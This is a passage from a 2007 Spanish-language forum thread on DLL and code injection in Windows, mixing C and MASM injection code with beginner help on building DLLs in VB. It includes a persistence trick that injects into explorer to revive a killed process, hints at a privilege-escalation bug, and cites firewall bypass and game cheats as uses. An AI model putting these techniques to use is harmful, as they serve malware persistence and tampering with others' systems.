iDat *pDat= (iDat *)VirtualAllocEx(hp, 0, sizeof(iDat), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
//si error salimos
if (pDat==NULL) { CloseHandle(hp); return 1; }
//escribimos la struct, si error salimos
if(!WriteProcessMemory(hp, pDat, &dat, sizeof(iDat), &dw)) goto Fuera;
//calculamos el tamaño de la funcion a inyectar, restando a la
//direccion de la funcion que esta inmediatament debajo de la
//funcion a inyectar, la direccion de la funcion a inyectar
TamCodigo = (long unsigned int)SubMain - (long unsigned int)Resident;

//reservamos espacio para la funcion, devuelve la direccion
//donde se reservo la memoria, que es donde escribiremos la
//funcion
vm = VirtualAllocEx(hp, 0, TamCodigo, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//si no error
if (vm!=NULL)
{
  //escribimos la funcion, y si no error
  if(WriteProcessMemory(hp, vm, (void*)Resident, TamCodigo, &dw))
  {
   //creamos un hilo remoto en el proceso para ejecutar la funcion
   //pasamos como argumento el puntero a la struct dat
   CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)vm, pDat, 0, NULL);
  }
}
Fuera:
//cerramos el handle al proceso
CloseHandle(hp);
//dormimos
Dormir();
return 1;
}
//obtiene la direccion de una api, indicandole la dll donde reside
// y el nombre de la funcion.
DWORD GetAdres(char *module, char *function)
{
HMODULE dh = LoadLibrary(module);
if (!dh) return 0;
DWORD pf = (DWORD)GetProcAddress(dh,function);
if (!pf) { return 0; }
FreeLibrary(dh);
return pf;
}

//funcion que duerme la ejecucion del .exe
void Dormir()
{
while(1) { Sleep(30000); }
}

Lo q hace es inyectar en el explorer un codigo q cada X tiempo comprueva si el proceso q le ha inyectado sigue on, y si lo han cerrado lo revive al instante, es una buena forma de mantener un proceso inmortal  ;D
Con inyeccion dll esto tb se podria hacer ;)



Vale cualkier otro proceso, aunke yo e provado en C con el lsass y ese tipo de procesos y no funcionó, pero con firefox, msn o internet explorer si q funciona  :P

Si que puedes inyectar, leer memoria y escribir en memoria de otros procesos de SYSTEM (como lsass o svchost). Solo necesitas ejecutar tu aplicación con los privilegios heredades => a SYSTEM.

Cuando programé mi MemDumper (dumpeador de memoria de procesos) pude dumpear la memoria de svchost siempre y cuando mi aplicación se lanzara desde SYSTEM.

Para hacerlo solo tienes que usar el bug del comando AT (explicado por mí también en este foro) para pasar un proceso de Admin a SYSTEM.

Saludos!!

Ok muchas graias, voy a hacer algunas pruevas con esa api en C y luego lo publico ;)


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: drakolive en 17 Junio 2007, 21:00 pm
me parece excelente hendrix, pero podrias colocar un ejemplo, donde coloqs el source de la DLl (qpor ejemplo de un saludo).. y todo lo demas???
...
para mayor compresion del articulo..
gracias..
espero q coloqn ese ejemplo


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: d(-_-)b en 17 Junio 2007, 21:09 pm
Alguien me puede decir para que sirven las Inyeccion Dll, Gracias


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: byebye en 17 Junio 2007, 21:47 pm
pues para varias cosas, entre una de ellas tomar el control del proceso donde es injectada, pasar cortafuegos, si juegas en linea conoceras los wallhack que tb se hacen injectando una dll para hookear funciones de opengl/DirectX y tener ventajas sobre otros jugadores. en fin con imaginacion se pueden hacer muchas cosas.


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: drakolive en 17 Junio 2007, 23:18 pm
algien q deje un ejemplioooooo


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: byebye en 17 Junio 2007, 23:55 pm
Código:
procedure DllEntrypoint(Razon:DWORD);
begin
   if razon=DLL_PROCESS_ATTACH then
   begin
   MessageBox(0,'Mensaje desde la dll','',64);
   end;
end;

cuando injectes la dll en un proceso automaticamente te saldra el mensaje.


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: drakolive en 18 Junio 2007, 17:32 pm
Código:
procedure DllEntrypoint(Razon:DWORD);
begin
   if razon=DLL_PROCESS_ATTACH then
   begin
   MessageBox(0,'Mensaje desde la dll','',64);
   end;
end;

cuando injectes la dll en un proceso automaticamente te saldra el mensaje.

esa DLL q has puesto no esta en VB...
en q esta?? deja una de VB


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: ~~ en 18 Junio 2007, 17:37 pm
En VB las dll's de verdad hay q hacerlas asi:

http://www.elguille.info/vb/avanzado/crear_dll_windows_con_vb6_explicado.htm

Es mas facil q hagas una en C para provar..


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Timerlux en 18 Junio 2007, 17:57 pm
Yo con lo que cuento es con un inyector de EXEs en C que encontre y que va bien, es una aplicacion de consola, y he conseguido desempackarloo.

Y me preguntaba si podria convertirlo en una DLL que yo pueda usar desde VB, no se cambiandole las caracteristicas en la sección PE adecuada y algun ajuste mas, ya que los parametros de la linea de comandos son simples  -> Exesource.exe Exedestino.exe

Se que puede que sea muy dificil o casi imposible, o tal vez no ,pero prefiero una DLL a un EXE.

Que Opinais?

Un saludo !!!!   ;D


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: drakolive en 18 Junio 2007, 18:05 pm
Puedes colocar el source de una DLL en VB q de un unico mensaje de HOla...
la cual al ser inyectada con este medio cuando se abra el programa infectado la DLL diga Hola! :D


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Freeze. en 11 Julio 2007, 17:59 pm
Como creo una dll?

Por favor respuestas serias que yo podria responder: cambiarle el formato o algo por el estilo... :xD


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: ~~ en 12 Julio 2007, 00:49 am
Me autocito  :¬¬

En VB las dll's de verdad hay q hacerlas asi:

http://www.elguille.info/vb/avanzado/crear_dll_windows_con_vb6_explicado.htm

Es mas facil q hagas una en C para provar..

Como ya dije mejor q uses C...


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: wACtOr en 23 Julio 2007, 20:58 pm
muy bueno hendrix, e estado leyendo y probando el codigo. la duda que tengo es que como puedo hacer para que el notepad, en sete caso, llame a una funcion de la dll. e seguido el tutorial de crear una dll, que posteo EON, y tengo una dll con una funcion, que cuando es llamada, muestra un mensaje. si creo un proyecto y llamo a esa dll
asi:
Código
  1. Private Declare Function Wenas Lib "Prueba.dll" () As String
  2.  
  3. Private sub Form_Load()
  4. dim msg as string
  5. msg = Wenas
  6. msg = MTrim(msg)
  7. msgbox msg
  8. End Sub

de esta manera al generar el proyecto, me muestra el mensaje que e puesto en la funcion de la dll. mi duda es como llamar a esa funcion, o que se ejecute sola, al cargarse en elproceso.

Muchas gracias, y muy weno hendix.


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Lambda en 23 Julio 2007, 21:28 pm
muy bueno hendrix, e estado leyendo y probando el codigo. la duda que tengo es que como puedo hacer para que el notepad, en sete caso, llame a una funcion de la dll. e seguido el tutorial de crear una dll, que posteo EON, y tengo una dll con una funcion, que cuando es llamada, muestra un mensaje. si creo un proyecto y llamo a esa dll
asi:
Código
  1. Private Declare Function Wenas Lib "Prueba.dll" () As String
  2.  
  3. Private sub Form_Load()
  4. dim msg as string
  5. msg = Wenas
  6. msg = MTrim(msg)
  7. msgbox msg
  8. End Sub

de esta manera al generar el proyecto, me muestra el mensaje que e puesto en la funcion de la dll. mi duda es como llamar a esa funcion, o que se ejecute sola, al cargarse en elproceso.

Muchas gracias, y muy weno hendix.

Añade esta función

Código:
Public Function DllMain(hInst As Long, fdwReason As Long,
  lpvReserved As Long) As Boolean
   Select Case fdwReason
      Case DLL_PROCESS_DETACH

      Case DLL_PROCESS_ATTACH
         MsgBox "DLL CARGADA";
      Case DLL_THREAD_ATTACH

      Case DLL_THREAD_DETACH

   End Select
End Function

PD: Como se pone el codigo en color? xDDD


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: wACtOr en 23 Julio 2007, 21:36 pm
gracias, pero me tira error, variable no definida :
DLL_PROCESS_DETACH

para poner color en los codigos, a  la derecha del boton con la A roja ay un desplegable, ay seleccionas el lenguaje  y pegas el codigo dentro de las etiketas.

me puedes explicar como va ese code?

gracias


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Lambda en 23 Julio 2007, 21:43 pm
gracias, pero me tira error, variable no definida :
DLL_PROCESS_DETACH

para poner color en los codigos, a  la derecha del boton con la A roja ay un desplegable, ay seleccionas el lenguaje  y pegas el codigo dentro de las etiketas.

me puedes explicar como va ese code?

gracias

Ouch, se me olvidaron las constantes xDD

Código
  1. Public Const DLL_PROCESS_DETACH = 0
  2. Public Const DLL_PROCESS_ATTACH = 1
  3. Public Const DLL_THREAD_ATTACH = 2
  4. Public Const DLL_THREAD_DETACH = 3



Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Freeze. en 24 Julio 2007, 00:19 am
Hola ya estoy entendiendo un poco mas sobre la creacion de Dll's muchas Gracias a todos...


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Freeze. en 24 Julio 2007, 01:24 am
A ver quien me ayuda:

Modulo:
Código:
Public Function Saludo()
Saludo = "hola"
End Function

Formulario:
Código:
Private Declare Function Saludo Lib "lol.dll" () As String
Private Sub Form_Load()
MsgBox Saludo
End Sub

Puede ser que este declarando mal... o no se ayudenme por favor.. :P

PD: Esto no es inyeccion de Dll's es Programacion de Dll's :P :xD :xD


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Lambda en 24 Julio 2007, 01:38 am
A ver quien me ayuda:

Modulo:
Código:
Public Function Saludo()
Saludo = "hola"
End Function

Formulario:
Código:
Private Declare Function Saludo Lib "lol.dll" () As String
Private Sub Form_Load()
MsgBox Saludo
End Sub

Puede ser que este declarando mal... o no se ayudenme por favor.. :P

PD: Esto no es inyeccion de Dll's es Programacion de Dll's :P :xD :xD

En la dll no declaras Saludo como string
Código
  1. Public Function Saludo() As String
  2. Saludo = "hola"
  3. End Function

Prueba asi


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Freeze. en 24 Julio 2007, 01:43 am
Tampoco :(

Que sera...

Dice:

Can't find DLL entry point Saludo in lol.dll

Siempre lo dice...


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Tughack en 24 Julio 2007, 06:19 am
Tampoco :(

Que sera...

Dice:

Can't find DLL entry point Saludo in lol.dll

Siempre lo dice...

Acaso sabes k es un entry point? xD

Salu2


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: byebye en 24 Julio 2007, 11:07 am
esque que yo sepa vb no hace dlls dinamicas.


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Lambda en 24 Julio 2007, 11:38 am
Yo no consegui que funcionasen las DLL bien, se supone que el entry point es el DLLMain, se lo tienes que poner para que funcione bien


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Hendrix en 24 Julio 2007, 12:21 pm
esque que yo sepa vb no hace dlls dinamicas.

Amén.

Con VB no podries hacer Dll's para esto... ;) ;)

Tendreis que hacerlas en VC++


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: dark_hat en 24 Julio 2007, 15:58 pm
Aqui les dejo este codigo que ya e traducido a C#, ahora a VB...mi proximo reto es traducirlo a ensamblador con el Fasm.... :xD :xD


En ensamblador sería así (con masm):
Código
  1. .386
  2. .model flat,stdcall
  3. option casemap:none
  4. include \masm32\include\windows.inc
  5. include \masm32\include\kernel32.inc
  6. includelib \masm32\lib\kernel32.lib
  7.  
  8.  
  9. .const
  10. ID_proceso EQU 2964   ;La ID del proceso q sea
  11.  
  12. .data
  13. Kernel32 db "kernel32.dll", 0
  14. LoadLibrary_nombre db "LoadLibraryA", 0
  15. DLL db "C:\DLL.dll", 0
  16.  
  17.  
  18.  
  19. .data?
  20. Proceso_ID DWORD ?
  21. Proceso_handle DWORD ?
  22. Kernel32_offset DWORD ?
  23. LoadLibrary_offset DWORD ?
  24. String DWORD ?
  25. Proceso PROCESSENTRY32 <?>
  26.  
  27.  
  28.  
  29. .code
  30. Start:
  31. invoke GetModuleHandle, addr Kernel32
  32. mov Kernel32_offset, eax
  33. invoke GetProcAddress, Kernel32_offset, addr LoadLibrary_nombre
  34. mov LoadLibrary_offset, eax
  35.  
  36.  
  37.  
  38. mov Proceso.dwSize, 296
  39.  
  40. invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, ID_proceso
  41. mov Proceso_handle, eax
  42. invoke VirtualAllocEx, Proceso_handle, NULL, 64, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
  43. mov String, eax
  44. invoke WriteProcessMemory, Proceso_handle, String, addr DLL, 64, NULL
  45. invoke CreateRemoteThread, Proceso_handle, NULL, NULL, LoadLibrary_offset, String, NULL, NULL
  46. invoke CloseHandle, Proceso_handle
  47. invoke ExitProcess, 0
  48.  
  49.  
  50.  
  51.  
  52. End Start
  53.  

invoke en el masm es:
Código:
invoke A,B,C...


=


...
push C
push B
call A


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Hendrix en 24 Julio 2007, 15:59 pm
dark_hat, ya lo hice... ;) ;)


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Freeze. en 24 Julio 2007, 18:33 pm
Iba a escribir otra cosa pero se iba a ir a discucion...

Gracias..Supongo... ;)


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: c3r0x en 26 Julio 2007, 21:18 pm
seria bueno un api hook

salu2


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: [GB] en 6 Agosto 2007, 00:07 am
pregunta:

se puede programar una dll que ejecute un .exe?

o sea abro el programa que inyecta una dll en notepad, abro el notepad y se ejecuta la dll inyectada que a su vez ejecuta otro ejecutable, es posible?
si es posible a ver alguien que me facilite un ejemplo jeje


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: ~~ en 6 Agosto 2007, 00:46 am
pregunta:

se puede programar una dll que ejecute un .exe?

o sea abro el programa que inyecta una dll en notepad, abro el notepad y se ejecuta la dll inyectada que a su vez ejecuta otro ejecutable, es posible?
si es posible a ver alguien que me facilite un ejemplo jeje


Si, solo tienes q poner en la dll una funcion q ejecute el archivo deseado, si no kieres complicarte mucho usa system q es como el shell de VB


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Freeze. en 6 Agosto 2007, 01:36 am
Estare yo confundido?

system("comando");

Eso no es de C???

o hay algo asi para VB?


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: ~~ en 6 Agosto 2007, 02:04 am
Si, es de C pero como e repetido ya en 2 post y 3 con este, la dll tiene q estar en C!!! (weno o en otro lenguaje q genere dll's de verdad, no como VB...) comento como hacerlo en C por q es el q yo domino ;)


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Freeze. en 6 Agosto 2007, 05:51 am
Ah ok...

Salu2..!!


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: jfalcon en 17 Noviembre 2007, 11:12 am
hola Hendriҳ y a los demas  ;D

tengo algunas dudas.  :huh:

1-podrias publicar ese codigo de inyeccion para C# (es posible eso?)
2-se puede crear un DLL (dinamico) con C# (yo creo dll con C#, pero primera vez que leo que hay tipo dinamico, podrias explicar su propiedad de un dinamico)

lo que entiendo por dinamico es k lo lee (es compatible) cualquier lenguaje? ya que el c++ es la madre de los lenguajes...

3- osea si quiero crear mi libreria (*.DLL) y inyectarlo con C# (*.exe) a una cierta aplicacion... tengo que crear todas mis funciones en modo c++?

gracias por tu aporte  :xD


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: ~~ en 17 Noviembre 2007, 11:25 am
Citar
1-podrias publicar ese codigo de inyeccion para C# (es posible eso?)

Buscalo por el foro de Net, q ya está posteado ;) de todas maneras el 90% del code son apis, no te costará mucho traducirlo tu mismo

Citar
2-se puede crear un DLL (dinamico) con C#

Si, si se puede crear una dll, pero no te valdrá para inyectar, ya q usa codigo MSIL, no codigo nativo como puede usar C/C++

Citar
3- osea si quiero crear mi libreria (*.DLL) y inyectarlo con C# (*.exe) a una cierta aplicacion... tengo que crear todas mis funciones en modo c++?

Si, puedes inyectar desde C#, pero la dll mejor q la hagas en C/C++ (sabiendo C# no te costará nada hacerrla en C++ ;))

Salu2


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: cobein en 19 Noviembre 2007, 00:00 am
Bueno al parecer no paran de discutir acerca de esto :D aca les dejo un ejemplo de un programa que inyecta una dll para modificar el aspecto del escritorio, esta todo hecho en VB y compilado con el mismo.

http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=65301&lngWId=1


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: carolmuriel en 21 Noviembre 2007, 06:08 am
he aqui un ejemplo que solucionara muchas de sus dudas esta probado por lo tanto funciona asi que bueno no es mio pero se que esta hecho a la perfeccion

Citar
http://foro.elhacker.net/index.php/topic,188986.0.html

de un user de aqui mismo


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Freeze. en 21 Noviembre 2007, 19:35 pm
Aqui traigo una duda:

Tengo esto en la dll:
Código
  1. Option Explicit
  2. Public Function DLLMain( _
  3.       ByVal lhModule As Long, _
  4.       ByVal lReason As Long, _
  5.       ByVal lReserved As Long) As Long
  6.  
  7.    Select Case lReason
  8.        Case DLL_PROCESS_ATTACH: Call RemomoveDll
  9.    End Select
  10.  
  11.    DLLMain = 0
  12.  
  13. End Function
  14. Private Sub Main(): End Sub
  15. Private Sub RemomoveDll()
  16.    Dim hLib As Long
  17.    hLib = GetModuleHandle("DllInject")
  18.    If Not hLib = ilNULL Then FreeLibrary (hLib)
  19. End Sub
  20. Public Sub Mensaje(texto As String)
  21. MsgBox texto
  22. End Sub
  23.  

Y esto en el proyecto:

Código
  1. Private Declare Function Mensaje Lib "lol.dll" (texto As String)
  2. Private Sub Form_Load()
  3. Mensaje "hola"
  4. End Sub
  5.  

Me dice que no encuentra el entry point en la dll. Según todo lo que lei en este post dice que este es el entry point:
Código
  1. Public Function DLLMain( _
  2.       ByVal lhModule As Long, _
  3.       ByVal lReason As Long, _
  4.       ByVal lReserved As Long) As Long
  5.  
  6.    Select Case lReason
  7.        Case DLL_PROCESS_ATTACH: Call RemomoveDll
  8.    End Select
  9.  
  10.    DLLMain = 0
  11.  
  12. End Function
  13.  

Tengo esa duda porque pense que ese era el entry point y veo que no :S


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: cobein en 21 Noviembre 2007, 19:48 pm
Primero tenes que compilar la dll de manera especial con algun control de compilador, y segundo tenes que exportar la funcion, en este caso "Mensaje".

Lee el post que hice, el mismo de donde sacaste el ejemplo que lo explica en pocas palabras.

Tu code tendria que quedar asi.

Código
  1. Option Explicit
  2. Public Function DLLMain( _
  3.       ByVal lhModule As Long, _
  4.       ByVal lReason As Long, _
  5.       ByVal lReserved As Long) As Long
  6.  
  7.    DLLMain = 1
  8.  
  9. End Function
  10.  
  11. Public Sub Mensaje(texto As String)
  12. MsgBox texto
  13. End Sub


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Freeze. en 21 Noviembre 2007, 20:20 pm
A que te refieres cuando dices:

"control de compilador"
"Exportar la Funcion"

¿Supongo que ya lo hize o no?


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: cobein en 21 Noviembre 2007, 20:42 pm
Necesitas un add-in para vb (hay otros tipos) que te permita, antes de llamar al linker, modificar la linea de comandos de vb cuando compila. De esa forma vas a poder crear librerias similares a las de C++ o cualquier otro lenguaje y vas a poder llamar mediante apis a las funciones que esta misma exporte.
 
Podes usar VBadvance, C2 o por aca en este mismo tema hay uno del ElGuille para compilar.


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Freeze. en 21 Noviembre 2007, 20:51 pm
Ok, muchas gracias. ;)


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: invisible_hack en 23 Noviembre 2007, 18:43 pm
Jajaja oye Hendrix muy bueno lo de...CopyLeft...ajajajaajaj....en vez de CopyRigth.. :xD :xD

No, ahora en serio, excelente code, si me lo permites lo posteare en mi foro....con los respectivos creditos claro...

Saludos :P


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: Hendrix en 24 Noviembre 2007, 13:32 pm
El CopyLeft no me lo invente yo como parodia...el copyleft existe

http://es.wikipedia.org/wiki/Copyleft

Un Saludo  :)


Título: Re: [Source] Inyeccion Dll en VB
Publicado por: SKL (orignal) en 5 Diciembre 2007, 20:37 pm
http://www.recursosvisualbasic.com.ar/foro/source-code-inyeccion-de-dll-completo-t917.0.html

Logros de Cobein